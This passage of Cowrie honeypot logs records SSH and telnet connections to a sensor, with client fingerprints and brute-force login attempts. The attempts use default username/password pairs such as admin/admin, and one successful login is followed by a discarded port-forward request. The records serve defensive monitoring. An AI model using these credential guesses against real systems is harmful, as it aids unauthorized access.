-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:18.147118Z","src_ip":"101.36.124.127","session":"ea59ff4edb09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftp","message":"login attempt [ftpuser1/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:19.028891Z","src_ip":"101.36.124.127","session":"ea59ff4edb09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:20.245235Z","src_ip":"101.36.124.127","session":"ea59ff4edb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.38","src_port":47516,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd26de3c0d8a","protocol":"ssh","message":"New connection: 31.56.209.38:47516 (159.203.135.109:22) [session: dd26de3c0d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:21.772614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:21.776980Z","src_ip":"31.56.209.38","session":"dd26de3c0d8a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:24.624796Z","src_ip":"31.56.209.38","session":"4954b68f8d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:34.347634Z","src_ip":"31.56.209.38","session":"4954b68f8d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:43:34.354326Z","src_ip":"31.56.209.38","session":"4954b68f8d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":43004,"dst_ip":"159.203.135.109","dst_port":22,"session":"304a1d611cdf","protocol":"ssh","message":"New connection: 101.36.124.127:43004 (159.203.135.109:22) [session: 304a1d611cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:12.964020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:12.968902Z","src_ip":"101.36.124.127","session":"304a1d611cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:13.182079Z","src_ip":"101.36.124.127","session":"304a1d611cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test123","message":"login attempt [administrator/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:14.059565Z","src_ip":"101.36.124.127","session":"304a1d611cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:15.272748Z","src_ip":"101.36.124.127","session":"304a1d611cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":59166,"dst_ip":"159.203.135.109","dst_port":22,"session":"733125c2d763","protocol":"ssh","message":"New connection: 96.70.252.227:59166 (159.203.135.109:22) [session: 733125c2d763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:37.280753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:37.347529Z","src_ip":"96.70.252.227","session":"733125c2d763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:37.374807Z","src_ip":"96.70.252.227","session":"733125c2d763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1pass","message":"login attempt [test1/test1pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:37.673434Z","src_ip":"96.70.252.227","session":"733125c2d763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:44:38.707151Z","src_ip":"96.70.252.227","session":"733125c2d763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":37396,"dst_ip":"159.203.135.109","dst_port":22,"session":"857f58a3d6d4","protocol":"ssh","message":"New connection: 101.36.124.127:37396 (159.203.135.109:22) [session: 857f58a3d6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:07.219584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:07.240139Z","src_ip":"101.36.124.127","session":"857f58a3d6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:07.458679Z","src_ip":"101.36.124.127","session":"857f58a3d6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Aa123456","message":"login attempt [amir/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:08.335603Z","src_ip":"101.36.124.127","session":"857f58a3d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:09.550443Z","src_ip":"101.36.124.127","session":"857f58a3d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:21.780989Z","src_ip":"31.56.209.38","session":"dd26de3c0d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":17736,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbfa05a77d3d","protocol":"ssh","message":"New connection: 87.251.64.176:17736 (10.17.0.5:22) [session: fbfa05a77d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:26.906025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:26.910794Z","src_ip":"87.251.64.176","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:27.007970Z","src_ip":"87.251.64.176","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:27.308097Z","src_ip":"87.251.64.176","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:27.407385Z","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:27.505346Z","src_ip":"87.251.64.176","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:27.604388Z","src_ip":"87.251.64.176","session":"fbfa05a77d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.240.183","src_port":39684,"dst_ip":"159.203.135.109","dst_port":22,"session":"cadf4df506d8","protocol":"ssh","message":"New connection: 152.32.240.183:39684 (159.203.135.109:22) [session: cadf4df506d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:31.609879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:31.674275Z","src_ip":"152.32.240.183","session":"cadf4df506d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:31.889984Z","src_ip":"152.32.240.183","session":"cadf4df506d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:32.164928Z","src_ip":"152.32.240.183","session":"cadf4df506d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":39396,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42061bcbdd4","protocol":"ssh","message":"New connection: 27.119.7.6:39396 (10.17.0.5:22) [session: d42061bcbdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:35.137424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:35.142864Z","src_ip":"27.119.7.6","session":"d42061bcbdd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:35.326132Z","src_ip":"27.119.7.6","session":"d42061bcbdd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntuubuntu","message":"login attempt [ubuntu/ubuntuubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:36.090259Z","src_ip":"27.119.7.6","session":"d42061bcbdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:37.276997Z","src_ip":"27.119.7.6","session":"d42061bcbdd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.207.36.110","src_port":47821,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c30232c83ac","protocol":"telnet","message":"New connection: 117.207.36.110:47821 (159.203.135.109:23) [session: 4c30232c83ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:44.769495Z"}
{"eventid":"cowrie.session.closed","duration":13.884678363800049,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:45:58.654042Z","src_ip":"117.207.36.110","session":"4c30232c83ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"8636eb9fe267","protocol":"ssh","message":"New connection: 101.36.124.127:53602 (159.203.135.109:22) [session: 8636eb9fe267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:00.551415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:00.557277Z","src_ip":"101.36.124.127","session":"8636eb9fe267","protocol":"ssh"}
